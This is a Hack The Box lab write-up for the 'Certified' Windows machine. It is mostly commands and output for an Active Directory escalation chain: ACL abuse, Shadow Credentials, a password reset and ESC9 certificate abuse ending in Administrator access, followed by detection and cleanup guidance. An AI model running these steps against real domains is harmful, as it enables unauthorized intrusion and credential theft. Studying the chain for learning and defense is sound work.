HTB Certified writeup
A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”Certified is a Windows Medium box that chains Active Directory (AD) ACL permissions on a Domain Controller to reach a certificate template configuration. Using the supplied credentials for judith.mader, I enumerated AD and gained membership in the Management group through WriteOwner. I then used GenericWrite over management_svc for Shadow Credentials and confirmed the user flag through WinRM. Finally, I combined management_svc’s GenericAll over ca_operator, the ESC9 conditions of the CertifiedAuthentication template, and a UPN change to connect through WinRM as Administrator.
This writeup distinguishes “recorded facts,” which can be confirmed directly from commands and output, from “technical interpretation,” which explains the underlying mechanisms. It does not assert anything for which no command or output was recorded.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Certified |
| Platform | Hack The Box |
| OS | Windows |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”judith.mader / judith09 | | BloodHound: WriteOwner over Management | owner change -> DACL ACE addition -> group membership vjudith.mader in Management | | Management's GenericWrite over management_svc | Shadow Credentials (msDS-KeyCredentialLink) vmanagement_svc NT hash / WinRM | | GenericAll over ca_operator | password reset and UPN change vca_operator with UPN administrator | | Enroll in CertifiedAuthentication (ESC9 conditions) | certificate authentication as administrator vAdministrator NT hash / WinRM | | read C:\Users\Administrator\Desktop\root.txt vAdministrator flag [REDACTED]Each arrow corresponds to an operation confirmed by the command output below. Targeted Kerberoasting was the first option considered for management_svc. Although the TGS was obtained, the recorded dictionary attack did not yield credentials, so it is not part of the main path.
Target Details
Section titled “Target Details”| Item | Value |
|---|---|
| Host | DC01.certified.htb |
| Domain | certified.htb |
| Initial credentials | judith.mader:judith09 |
The following entry was used for name resolution.
10.129.231.186 DC01.certified.htb certified.htb DC01The initial scan covered all TCP ports.
nmap -sS -A -p- --min-rate 10000 10.129.231.186 > certified.nmapThe output relevant to the decision was as follows.
Nmap scan report for 10.129.231.186Host is up (0.37s latency).PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)9389/tcp open mc-nmf .NET Message FramingService Info: Host: DC01; OS: Windows
Host script results:|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s| smb2-security-mode:| 3.1.1:|_ Message signing enabled and requiredThe points to note are:
- The combination of
53/88/389/445/464/3268/9389and the domain name returned by LDAP indicate that the target is an AD Domain Controller. 5985/tcpis WinRM, a potential connection point once valid credentials or a hash are obtained.- Because SMB signing is required, the supplied credentials give a reason to prioritize LDAP/Kerberos/ACL enumeration over an SMB relay path.
- The time difference was seven hours, which could cause Kerberos authentication failures. I synchronized the attacking machine’s clock below.
sudo systemctl stop systemd-timesyncdsudo ntpdate certified.htb2026-07-16 06:02:28.268490 (+0900) +25201.138812 +/- 0.091904 certified.htb 10.129.231.186 s1 no-leapCLOCK: time stepped by 25201.138812This output shows a correction of approximately 25,201 seconds. It established the conditions needed for the subsequent Kerberos operations.
Initial Enumeration
Section titled “Initial Enumeration”Initial SMB and LDAP checks
Section titled “Initial SMB and LDAP checks”I first checked whether the starting credentials worked over SMB, and which AD principals could be found through shares and RID enumeration.
nxc smb dc01.certified.htb -u judith.mader -p judith09 --shares --rid-bruteSMB 10.129.231.186 445 DC01 [+] certified.htb\judith.mader:judith09SMB 10.129.231.186 445 DC01 Share Permissions RemarkSMB 10.129.231.186 445 DC01 IPC$ READ Remote IPCSMB 10.129.231.186 445 DC01 NETLOGON READ Logon server shareSMB 10.129.231.186 445 DC01 SYSVOL READ Logon server share...SMB 10.129.231.186 445 DC01 1103: CERTIFIED\judith.mader (SidTypeUser)SMB 10.129.231.186 445 DC01 1104: CERTIFIED\Management (SidTypeGroup)SMB 10.129.231.186 445 DC01 1105: CERTIFIED\management_svc (SidTypeUser)SMB 10.129.231.186 445 DC01 1106: CERTIFIED\ca_operator (SidTypeUser)This confirmed successful authentication, readable domain shares, and three principals that later appear in the chain. At this point, however, no permissions on ADMIN$ or C$ were shown, so the path was not based on direct access to administrative shares.
Next, I enumerated users and groups through LDAP.
nxc ldap dc01.certified.htb -u judith.mader -p judith09 --users --groupLDAP 10.129.231.186 389 DC01 [+] certified.htb\judith.mader:judith09LDAP 10.129.231.186 389 DC01 [*] Enumerated 9 domain users: certified.htbLDAP 10.129.231.186 389 DC01 management_svc 2024-05-14 00:30:51 0LDAP 10.129.231.186 389 DC01 ca_operator 2024-05-14 00:32:03 0...LDAP 10.129.231.186 389 DC01 Remote Management Users 1LDAP 10.129.231.186 389 DC01 Certificate Service DCOM Access 1LDAP 10.129.231.186 389 DC01 Management 1This confirmed the existence of management_svc, ca_operator, and Management, as well as Remote Management Users, which could be relevant to WinRM access. This output alone did not identify who was the group’s sole member; I checked that through the later BloodHound relationships and successful WinRM connection.
Active Directory Relationships and BloodHound Analysis
Section titled “Active Directory Relationships and BloodHound Analysis”To collect AD ACLs and certificate objects, I ran the following command.
rusthound-ce -d certified.htb -f dc01.certified.htb -u judith.mader -p judith09 -c All --zip[INFO] Connected to CERTIFIED.HTB Active Directory![INFO] All data collected for NamingContext DC=certified,DC=htb[INFO] MachineAccountQuota: 10[INFO] Found 12 enabled certificate templates[INFO] 10 users parsed![INFO] 61 groups parsed![INFO] 1 computers parsed![INFO] 1 enterprisecas parsed![INFO] 34 certtemplates parsed!The record of examining the collected data in BloodHound shows the following relationships.
judith.mader --WriteOwner--> ManagementManagement --GenericWrite--> management_svcmanagement_svc --GenericAll--> ca_operatormanagement_svc --MemberOf--> Remote Management Usersca_operator --Enroll--> CertifiedAuthenticationThe three write permissions above and the final Enroll permission form the main path. The record also shows that ca_operator belongs to Domain Users and Authenticated Users, and that Authenticated Users has Enroll on the CA. That alone does not imply escalation to Administrator. The template’s permissions and settings must be assessed separately.
How the ACL terms apply to this chain
Section titled “How the ACL terms apply to this chain”| Term | Technical interpretation | Meaning on this box |
|---|---|---|
| Owner | The owner recorded in an object’s security descriptor. An owner can usually change the object’s DACL, but cannot automatically change ordinary attributes. | judith.mader could become the owner of Management, but the membership check immediately afterward showed that she was not a member of Management. |
| DACL | A Discretionary ACL: a set of allow/deny ACEs on an object that specifies who is allowed to do what. | After becoming the owner, Judith added a GenericAll ACE for herself to the Management DACL. |
| ACE | An individual access control rule in a DACL, consisting of a principal, an allow/deny decision, and permissions. | The added ACE gave judith.mader GenericAll over Management. |
| WriteOwner | Permission to change the owner. It does not itself grant the right to change the DACL or the member attribute. | This was the starting point in BloodHound; set owner succeeded. |
| WriteDacl | Permission to change the DACL, including adding and removing ACEs. It is separate from writing ordinary attributes. | In this record, an ACE was added to the DACL after becoming the Owner. |
| GenericWrite | A general permission to modify writable attributes of the target object. Attribute-specific protections and extended rights must be evaluated separately. | Through Management, I could update management_svc’s servicePrincipalName and msDS-KeyCredentialLink. |
| GenericAll | Broad control over the target object, potentially allowing attribute changes, password resets, and other consequential operations. | management_svc had this over ca_operator and could change its password and UPN. |
| Permissions through a group | When a user joins a group, ACEs granted to the group are also evaluated for that user during authorization. | After Judith joined Management, operations using the group’s GenericWrite succeeded. |
ACL Chain to management_svc
Section titled “ACL Chain to management_svc”Changing the Owner and DACL, then joining the group
Section titled “Changing the Owner and DACL, then joining the group”I confirmed that WriteOwner was actually available by changing state: the owner of the AD object.
bloodyad --host dc01.certified.htb -d certified.htb -u judith.mader -p judith09 set owner Management judith.mader[+] Old owner S-1-5-21-729746778-2675978091-3820388244-512 is now replaced by judith.mader on ManagementThis output shows only that the Owner changed. An immediate membership check still did not show Management.
bloodyAD \ --host dc01.certified.htb \ -d certified.htb \ -u judith.mader \ -p 'judith09' \ get membership judith.maderdistinguishedName: CN=Users,CN=Builtin,DC=certified,DC=htbsAMAccountName: Users
distinguishedName: CN=Domain Users,CN=Users,DC=certified,DC=htbsAMAccountName: Domain UsersThis is an important distinction: being the Owner and being a group member are different. Next, as the owner, I added a GenericAll ACE for Judith to the DACL and used that permission to add her to the group.
bloodyAD \ --host dc01.certified.htb \ -d certified.htb \ -u judith.mader \ -p 'judith09' \ add genericAll Management judith.mader[+] judith.mader has now GenericAll on ManagementbloodyAD \ --host dc01.certified.htb \ -d certified.htb \ -u judith.mader \ -p 'judith09' \ add groupMember Management judith.mader[+] judith.mader added to ManagementA second check showed Management.
distinguishedName: CN=Management,CN=Users,DC=certified,DC=htbobjectSid: S-1-5-21-729746778-2675978091-3820388244-1104sAMAccountName: ManagementThe order matters because the Owner, a DACL ACE, and the member attribute are three separate changes. An ACE limited to the member attribute could also have been designed instead of GenericAll, but no such operation was recorded.
Targeted Kerberoasting did not yield credentials
Section titled “Targeted Kerberoasting did not yield credentials”I confirmed that Management’s GenericWrite was effective by adding an SPN to management_svc. This changed state.
bloodyad -d certified.htb --host dc01.certified.htb -u judith.mader -p judith09 set object management_svc servicePrincipalName -v 'http/management-test.certified.htb'[+] management_svc's servicePrincipalName has been updatedAny authenticated user can request a TGS for an account with an SPN. I therefore obtained a TGS for management_svc corresponding to the added SPN.
nxc ldap dc01.certified.htb -u judith.mader -p judith09 --kerberoasting management_svc.hashLDAP 10.129.231.186 389 DC01 [*] Total of records returned 1LDAP 10.129.231.186 389 DC01 [*] sAMAccountName: management_svc, memberOf: ['CN=Management,CN=Users,DC=certified,DC=htb', 'CN=Remote Management Users,CN=Builtin,DC=certified,DC=htb']LDAP 10.129.231.186 389 DC01 $krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb\management_svc*$3f9e...03d7d4The memberOf value in the output supports that management_svc belongs to Remote Management Users. The TGS request succeeded, but the following dictionary attack ended with Recovered: 0/1.
hashcat management_svc.hash /usr/share/wordlists/rockyou.txtHash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)Status...........: ExhaustedRecovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)Progress.........: 14344385/14344385 (100.00%)Kerberoasting itself did not fail: the TGS hash was obtained, but this dictionary did not reveal the password. There is no record of trying additional wordlists, rules, or mask attacks, so I do not assume any further attempt.
Moving to management_svc with Shadow Credentials
Section titled “Moving to management_svc with Shadow Credentials”As another way to use GenericWrite, I added a Key Credential to management_svc’s msDS-KeyCredentialLink.
bloodyad -d certified.htb --host dc01.certified.htb -u judith.mader -p judith09 add shadowCredentials management_svc[+] KeyCredential generated with following sha256 of RSA key: c2ae3c55c2d0017c51510765a7bd108e5de4a956cd36f04aad02affb6333005b[+] TGT stored in ccache file management_svc_X5.ccache
NT: a091c1832bcdd4677c28b5a6a1295584Technically, associating a Key Credential with the target account enables certificate-based Kerberos authentication with that key. Here, the same output shows both a saved TGT and the NT hash for management_svc. This explains why I could proceed to authentication material for WinRM without cracking the TGS password.
I connected through WinRM with the management_svc hash and confirmed the location and contents of the user flag.
evil-winrm-py -i dc01.certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584[*] Connecting to 'dc01.certified.htb:5985' as 'management_svc'evil-winrm-py PS C:\Users\management_svc\Documents> cd ..\Desktopevil-winrm-py PS C:\Users\management_svc\Desktop> ls
Directory: C:\Users\management_svc\Desktop
Mode LastWriteTime Length Name---- ------------- ------ -----ar--- 7/15/2026 1:57 PM 34 user.txt
evil-winrm-py PS C:\Users\management_svc\Desktop> type user.txt[REDACTED]Because the output shows a successful WinRM connection and the contents of user.txt, initial access as management_svc is confirmed.
AD CS Investigation and Privilege Escalation
Section titled “AD CS Investigation and Privilege Escalation”Resetting ca_operator’s password
Section titled “Resetting ca_operator’s password”I used the management_svc --GenericAll--> ca_operator relationship recorded in BloodHound to change ca_operator’s password.
bloodyad -d certified.htb --host dc01.certified.htb -u management_svc -p :a091c1832bcdd4677c28b5a6a1295584 set password ca_operator 'HappyPwn2026!'[+] Password changed successfully!I confirmed that the new password worked over LDAP.
nxc ldap dc01.certified.htb -u ca_operator -p 'HappyPwn2026!'LDAP 10.129.231.186 389 DC01 [+] certified.htb\ca_operator:HappyPwn2026!This check shows that the changed ca_operator credentials were usable, rather than merely that an AD attribute could be written.
Evaluating the CA and certificate template separately
Section titled “Evaluating the CA and certificate template separately”The CA is the AD CS issuer of certificates. A template is an AD object that defines who may request a certificate and which subject, EKU, and extensions it will contain. Enroll permission on the CA does not directly enable authentication abuse unless the template is enabled, the requester has Enroll on the template, and it has an authentication EKU.
I examined the CA and templates as ca_operator.
certipy find -u ca_operator -p HappyPwn2026! -dc-ip 10.129.231.186 -target certified.htb -vulnerable -stdout[*] Found 1 certificate authority[*] Found 12 enabled certificate templates[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP[!] Failed to connect to remote registry. Service should be starting now. Trying again...[*] Successfully retrieved CA configuration for 'certified-DC01-CA'[!] Error checking web enrollment: timed out...CA Name : certified-DC01-CADNS Name : DC01.certified.htbWeb Enrollment HTTP : False HTTPS : FalseRequest Disposition : IssuePermissions Enroll : CERTIFIED.HTB\Authenticated Users
Template Name : CertifiedAuthenticationDisplay Name : Certified AuthenticationCertificate Authorities : certified-DC01-CAEnabled : TrueClient Authentication : TrueEnrollee Supplies Subject : FalseCertificate Name Flag : SubjectAltRequireUpn SubjectRequireDirectoryPathEnrollment Flag : PublishToDs AutoEnrollment NoSecurityExtensionExtended Key Usage : Server Authentication Client AuthenticationRequires Manager Approval : FalseAuthorized Signatures Required : 0Enrollment Rights : CERTIFIED.HTB\operator ca...[+] User Enrollable Principals : CERTIFIED.HTB\operator ca[!] Vulnerabilities ESC9 : Template has no security extension.The first Remote Registry connection and the web enrollment check timed out, but retrieval of the CA configuration through RRP and template enumeration succeeded. Even though web enrollment was disabled, the subsequent request through RPC succeeded, so HTTP enrollment was not required.
The cn of ca_operator is operator ca, and the output lists CERTIFIED.HTB\operator ca as the template’s Enroll principal. This helps associate the template permission with the target account.
Matching the ESC9 conditions to the record
Section titled “Matching the ESC9 conditions to the record”ESC9 is a classification based on a template’s NoSecurityExtension setting, which omits the security extension that strongly binds a SID to the certificate. That flag alone, however, does not establish privilege escalation. I checked the following aspects separately for this path.
| Required consideration | Observed result | Assessment |
|---|---|---|
| CA can issue the template | CertifiedAuthentication is associated with certified-DC01-CA and Enabled : True | Confirmed |
| Requester has Enroll on the template | Enrollment Rights and User Enrollable Principals contain CERTIFIED.HTB\operator ca | Confirmed |
| EKU permits authentication | Client Authentication : True and Client Authentication in the EKU list | Confirmed |
| Approval or signatures do not block issuance | Requires Manager Approval : False and Authorized Signatures Required : 0 | Confirmed |
| No strong SID binding | Enrollment Flag contains NoSecurityExtension, and Certipy reports ESC9 | Confirmed |
| Relationship between the certificate subject/SAN and AD attributes | Enrollee Supplies Subject : False and SubjectAltRequireUpn; I later changed ca_operator’s UPN before requesting the certificate | Confirmed |
| Changed UPN can authenticate as Administrator | The issued certificate obtained a TGT and NT hash for administrator@certified.htb | Confirmed on this path |
The last row shows from the successful result that the effective conditions for accepting certificate mapping were met in this environment. There is no record of directly enumerating the Domain Controller’s strong certificate mapping configuration value itself.
Certipy classified the CertifiedAuthentication template as ESC9 because its Enrollment Flag includes NoSecurityExtension.
Certipy itself also printed “Other prerequisites may be required.” Whether ESC9 can actually be exploited depends on factors such as the KDC’s certificate mapping settings. Because certificate authentication succeeded in this test, the required conditions were met in this lab environment. I did not, however, obtain evidence directly confirming the KDC configuration itself.
Temporarily changing the UPN, requesting a certificate, and authenticating as Administrator
Section titled “Temporarily changing the UPN, requesting a certificate, and authenticating as Administrator”I read ca_operator’s attributes before the request. Recording the original UPN here provided the basis for restoring it later.
certipy account \ -u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 \ -dc-ip '10.129.231.186' -user 'ca_operator' \ read[*] Reading attributes for 'ca_operator': cn : operator ca distinguishedName : CN=operator ca,CN=Users,DC=certified,DC=htb sAMAccountName : ca_operator userPrincipalName : ca_operator@certified.htb userAccountControl : 66048Using management_svc’s GenericAll, I temporarily changed this UPN to administrator.
certipy account \ -u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 \ -dc-ip '10.129.231.186' -upn 'administrator' \ -user 'ca_operator' update[*] Updating user 'ca_operator': userPrincipalName : administrator[*] Successfully updated 'ca_operator'The template does not allow the requester to specify an arbitrary subject. This path uses the combination of SubjectAltRequireUpn, which reflects the account’s UPN in the requested certificate, and NoSecurityExtension, which leaves the object SID unbound.
With ca_operator in that state, I requested a certificate over RPC.
certipy req \ -u 'ca_operator@certified.htb' -p 'HappyPwn2026!' \ -dc-ip '10.129.231.186' \ -target 'dc01.certified.htb' -ca 'certified-DC01-CA' \ -template 'CertifiedAuthentication'[*] Requesting certificate via RPC[*] Request ID is 6[*] Successfully requested certificate[*] Got certificate with UPN 'administrator'[*] Certificate has no object SID[*] Saving certificate and private key to 'administrator.pfx'The three lines showing the request ID, UPN, and certificate without a SID are the actual issuance result needed for ESC9. I then restored the UPN to the recorded value.
certipy account \ -u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 \ -dc-ip '10.129.231.186' -upn 'ca_operator@certified.htb' \ -user 'ca_operator' update[*] Updating user 'ca_operator': userPrincipalName : ca_operator@certified.htb[*] Successfully updated 'ca_operator'Authentication with the issued certificate succeeded.
certipy auth \ -dc-ip '10.129.231.186' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'certified.htb'[*] Certificate identities:[*] SAN UPN: 'administrator'[*] Using principal: 'administrator@certified.htb'[*] Trying to get TGT...[*] Got TGT[*] Saving credential cache to 'administrator.ccache'[*] Trying to retrieve NT hash for 'administrator'[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34The Got TGT message and Administrator NT hash confirm that the certificate was actually usable for Kerberos authentication as Administrator.
Administrator Access and Root Flag
Section titled “Administrator Access and Root Flag”With the obtained Administrator hash, I connected through WinRM and confirmed the location and contents of the root flag.
evil-winrm-py -i dc01.certified.htb -u administrator -H 0d5b49608bbce1751f708748f67e2d34[*] Connecting to 'dc01.certified.htb:5985' as 'administrator'evil-winrm-py PS C:\Users\Administrator\Documents> cd ..\Desktopevil-winrm-py PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name---- ------------- ------ -----ar--- 7/15/2026 1:57 PM 34 root.txt
evil-winrm-py PS C:\Users\Administrator\Desktop> type root.txt[REDACTED]The output shows the WinRM connection as Administrator and the contents of C:\Users\Administrator\Desktop\root.txt, confirming final access.
Defense and Detection
Section titled “Defense and Detection”ACL and attribute changes through LDAP
Section titled “ACL and attribute changes through LDAP”The changes to the Management owner, DACL, and member; the management_svc SPN and Key Credential; and the ca_operator password and UPN all changed AD objects or attributes. LDAP traffic and Directory Service changes on the Domain Controller are therefore monitoring targets.
- With
Audit Directory Service Changesand an appropriate SACL on the target object enabled, Security Event ID5136may record attribute changes. Correlatemember,servicePrincipalName,msDS-KeyCredentialLink, anduserPrincipalNameindividually. - With
Audit Directory Service Accessand a SACL configured, Security Event ID4662can provide supporting visibility into directory object access. Without a SACL, these events may not be recorded. - Track owner and DACL changes as security descriptor changes under the same auditing prerequisites. Preserve differences in the owner as well as the DACL, and detect broad ACEs granted to individual principals such as Judith on
Management. - A password reset for
ca_operatorcan generate Security Event ID4724ifAudit User Account Managementis enabled. The original password is not in the record, so an investigation must correlate the actor, source, and time of the change with authentication logs.
A single event is hard to distinguish from a legitimate help desk password reset or routine group administration. Particularly concerning is a rapid sequence from the same source: owner change -> DACL ACE addition -> self-addition to a group -> SPN or msDS-KeyCredentialLink write. Identity monitoring tools should detect an unusual principal becoming the owner of a privileged group, the addition of Shadow Credentials, and the short sequence as one chain of activity.
Kerberos, AD CS, and WinRM
Section titled “Kerberos, AD CS, and WinRM”- A targeted Kerberoasting TGS request may appear as Security Event ID
4769on the KDC. Correlate the request for the newly createdhttp/management-test.certified.htbSPN with the SPN attribute change around the same time. - Both Shadow Credentials and certificate-based
certipy authobtained TGTs. Correlate KDC TGT issuance logs, the authentication method shortly after the change, and the source. The auditing configuration determines how much detail about authentication methods and certificates is retained, so this record does not support claims about specific field values. - The certificate request used RPC to the CA and is separate from web enrollment. If
Audit Certification Servicesis enabled, correlate Security Event ID4886(request received) and4887(issued) with Request ID6, the requester, theCertifiedAuthenticationtemplate, and the time of the UPN change. - WinRM uses TCP/5985. The destination may show a successful logon (Security Event ID
4624) and WinRM Operational logs; EDR may show the WinRM provider host and its child PowerShell activity. Because the LDAP tools run on the attacking machine, EDR on the DC alone may not show the source process of the owner and DACL changes.
For defense, avoid delegating WriteOwner, WriteDacl, GenericWrite, or GenericAll over high-value groups and service accounts; prioritize changes to msDS-KeyCredentialLink and UPNs; and do not allow NoSecurityExtension on authentication templates. Minimize template Enroll permissions independently of CA permissions, and inventory templates with the Client Authentication EKU in particular.
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”Mistaking ownership for membership
Section titled “Mistaking ownership for membership”Immediately after changing the owner of Management to Judith, the membership check showed only Users and Domain Users. Ownership provided a way to change the DACL; it did not itself change the group’s member attribute. This output shows that adding an ACE to the DACL and running add groupMember are separate operations.
Kerberoast dictionary attack
Section titled “Kerberoast dictionary attack”Adding the SPN and obtaining the TGS hash succeeded, but Hashcat with rockyou.txt ended with Exhausted / Recovered: 0/1. This does not mean that no password exists or that no other attack could ever crack it. Because the recorded method could not advance the path, I switched to Shadow Credentials through the already-writable msDS-KeyCredentialLink.
AD CS web enrollment timeout
Section titled “AD CS web enrollment timeout”During CA configuration retrieval, the first Remote Registry connection failed and web enrollment timed out. The same examination still obtained CA and template information, and the later certipy req succeeded over RPC. Using the RPC route shown explicitly in the output was more reasonable than retrying HTTP/HTTPS web enrollment.
Cleanup Notes
Section titled “Cleanup Notes”The following are the recorded state changes and required restoration steps. Apart from the UPN, there is no output showing that restoration was performed or verified. They are therefore not marked as cleaned up.
| Target | Recorded change | Action needed to restore | Verification status |
|---|---|---|---|
| Attacking machine’s clock synchronization | Stopped systemd-timesyncd and corrected the clock by 25,201 seconds with ntpdate | Restart normal time synchronization and resynchronize with the correct time source. | No restoration recorded |
Management owner | Changed former owner S-1-5-21-729746778-2675978091-3820388244-512 to judith.mader | Restore the original owner and check the owner in the security descriptor. RID 512 maps to CERTIFIED\Domain Admins in the enumeration output. | Not recorded |
Management DACL | Added a GenericAll ACE for Judith | Remove only the added ACE for Judith and check the DACL difference. | Not recorded |
Management member | Added Judith | Remove Judith from Management and check recursive membership. | Not recorded |
management_svc SPN | Set http/management-test.certified.htb | Check the previous servicePrincipalName values before removing only this value. | Previous value and restoration not recorded |
management_svc Key Credential | Generated the SHA-256 key c2ae3c55c2d0017c51510765a7bd108e5de4a956cd36f04aad02affb6333005b and added Shadow Credentials | Remove only the added msDS-KeyCredentialLink value and check the remaining Key Credentials. | Not recorded |
ca_operator password | Reset to HappyPwn2026! | The original password is unknown. Reset again through an authorized administrative procedure and notify the user. | Original value and restoration not recorded |
ca_operator UPN | ca_operator@certified.htb -> administrator -> ca_operator@certified.htb | The final update output shows that restoring the original string succeeded. Also perform a final directory read to verify it. | Restoration command succeeded; no independent read recorded |
| Remote Registry | During CA examination, Certipy printed Service should be starting now | Check whether the service actually started and whether it was returned to its original startup state. | Neither startup nor restoration recorded |
CA request ID 6 | Issued a certificate with the Administrator UPN from CertifiedAuthentication | A CA administrator should revoke request ID 6 and track the issued certificate. | Not recorded |
| Authentication material on the attacking machine | Created management_svc_X5.ccache, administrator.pfx, and administrator.ccache | Delete or securely retain the private key, credential caches, and stored hashes. | Neither deletion nor retention recorded |
Credentials and Artifacts
Section titled “Credentials and Artifacts”| Principal / artifact | Source | First use | Access obtained |
|---|---|---|---|
judith.mader:judith09 | Supplied starting credentials | SMB/LDAP enumeration | AD enumeration and changes to Management owner, DACL, and member |
management_svc NT hash a091c1832bcdd4677c28b5a6a1295584 | Output of add shadowCredentials management_svc | evil-winrm-py | Read the user flag as management_svc over WinRM and controlled ca_operator |
ca_operator:HappyPwn2026! | Password reset by management_svc | LDAP authentication, certipy find, and certipy req | Certificate request against CertifiedAuthentication |
administrator.pfx | Created by certificate request ID 6 | certipy auth | Obtained the Administrator TGT and NT hash |
Administrator NT hash 0d5b49608bbce1751f708748f67e2d34 | Output of certipy auth | evil-winrm-py | Administrator WinRM connection and reading the root flag |
C:\Users\management_svc\Desktop\user.txt | Enumerated through WinRM | type user.txt | Contents: [REDACTED] |
C:\Users\Administrator\Desktop\root.txt | Enumerated through WinRM | type root.txt | Contents: [REDACTED] |
I also obtained the Kerberos TGS hash for management_svc, but the recorded attempt with rockyou.txt did not yield the password. No unacquired credential should be added to the table.
Required Knowledge
Section titled “Required Knowledge”- Recognize an AD Domain Controller from its ports, LDAP domain, SMB signing, and time difference.
- Treat Kerberos clock synchronization, SPNs, TGSs, obtaining a hash through Kerberoasting, and cracking a password as distinct steps.
- Distinguish between Owner, DACL, ACE,
WriteOwner,WriteDacl,GenericWrite,GenericAll, and authorization through group membership. - Understand Shadow Credentials through
msDS-KeyCredentialLinkand why cleanup is necessary after adding them. - Evaluate the CA and certificate template separately, considering Enroll permissions, EKUs, how the subject/SAN is generated, the security extension, and whether account attributes can be changed.
- Do not treat ESC9 as merely a Certipy label; verify the template settings, UPN change, issuance result, and actual success of Kerberos authentication.
- Correlate DC audits, CA audits, Kerberos, WinRM, and identity monitoring in sequence instead of viewing each event alone.
Final Thought
Section titled “Final Thought”The key lesson of this box is to check BloodHound relationships at each boundary of owner, DACL, group membership, attribute writes, and authentication method, using output that confirms success, rather than interpreting them as a single all-purpose permission. For AD CS in particular, CA Enroll alone is insufficient: template Enroll, the Client Authentication EKU, NoSecurityExtension, a changeable account UPN, and successful certificate authentication must all be verified together. Because this path makes many state changes, recording original values and whether cleanup occurred also matters for both reproducibility and defense.

